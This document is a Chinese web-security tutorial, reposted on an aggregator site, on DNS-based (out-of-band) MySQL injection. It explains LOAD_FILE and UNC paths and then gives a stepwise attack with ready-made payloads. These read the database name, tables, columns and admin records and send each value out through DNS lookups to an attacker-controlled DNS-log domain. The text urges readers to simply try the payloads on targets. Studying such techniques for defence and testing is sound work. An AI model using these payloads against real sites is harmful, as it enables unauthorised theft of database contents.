网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含2722字，纯文字阅读大概需要4分钟。

内容图文

本文内容：

• DNSLOG的函数解析
• UNC路径
• DNSLOG的使用场景
• DNSLOG注入的具体流程

1，DNSLOG的函数解析：

　　Mysql函数：LOAD_FILE()读取文件的函数。

　　　　读取字符串并返回文档内容未字符串，要使用次函数，文件必须位于服务器主机上，必须指定完整路径的文件，而且必须有FILE权限。

　　　　该文件所有字节可读，但文件内容必须小于max_allowed_packet(限制server接收的数据包大小函数，默认1MB)。

　　　　如果该文件不存在或者无法读取，因为前面的条件之一不满足，函数返回NULL。

　　　　LOAD_FILE()读取文件函数的功能不是默认开启的，需要在mysql配置文件mysql-ini文件最后加一句：secure_file_priv=

　　　　添加之后需要重启才能生效。

2，UNC路径：通过命名规则，也称通用命名规范，通过命名规定，远程共享文件的一种格式。

　　什么是UNC路径：

　　　　UNC路径就是类似\\softer这样的网络路径：

　　格式：\\servername\sharename\filname

　　　　servername：服务器名称，

　　　　sharename：共享资源的名称

　　　　filename：共享资源文件夹的名称

3，DNSLOG的使用场景：

　　在某些无法直接利用漏洞获得回显的情况下，但是目标可以发出请求，这个时候就可以通过DNSLOG把想获取的数据外带出来。

　　对于SQL盲注，常见的方法就是二分法，去一个个猜，但是这样的方法麻烦不说，还很容易因为数据请求频繁导致被ban。

　　所以可以将select的数据发送给一个url，利用Dns解析产生的记录日志来查看数据。

　　select load_file() 可以请求贡献文件。

　　DNS：是域名，所以需要一个域名：http://dnslog.cn/

　　　　免费的Dnslog平台，不用注册，不用登陆，不采集任何信息。

4，DNSLOG注入的具体流程：

　　前提是网站数据库开启了load_file功能。

　　1.判断是否存在sql注入：

　　　　and 1=1 和 and 1=2

　　2.通过判断之后发现此处是一个满足，而盲注常用的方法就是二分法，一个一个去猜，但是如果系统数据库开启了load_file功能。

　　　我们就可以使用DNS解析产生的记录日志，来查看数据。

　　3.爆库：

　　　　and (select load_file(concat(‘//‘,(select database()),‘域名/abc‘)))

　　4.爆表：

　　　　and (select load_file(concat(‘//‘,(select table_name from information_schema.tables=database() limit 0,1),‘域名/abc‘)))

　　5.爆字段：

　　　　and (select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_name=‘admin‘ limit 0,1),‘域名/abc‘)))

　　6.爆数据：

　　　　and (select load_file(concat(‘//‘,(select id from admin limit 0,1),‘域名/abc‘)))

　　解释：

　　　　域名：可以通过上面免费域名网站获得。

　　　　abc：域名下的文件夹。

　　　　limit：使用limit 是因为数据库查询出来的数据不一定是个字符串，查询出来返回好几条数据，需要使用limit一条一条取出来，拼进域名内。

　　　　不用管系统数据库是否开启load_file，直接干就行，能行，就是开启了，不能行，就是没开启，试过才知道。

与君共勉：

　　向着目标奔跑，

　　何必在意折翼的翅膀，

　　只要信心不死，

　　就看的见方向，

　　顺风适合行走，

　　逆风更适合飞翔，

　　人生路上什么都不怕，

　　就怕自己投降。

网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

标签：网络安全   一个个   解释   共享   使用场景   读取文件   命名规则   log   利用   

本文系统来源：https://www.cnblogs.com/xz25/p/12636570.html

内容总结

以上是互联网集市为您收集整理的网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入全部内容，希望文章能够帮你解决网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端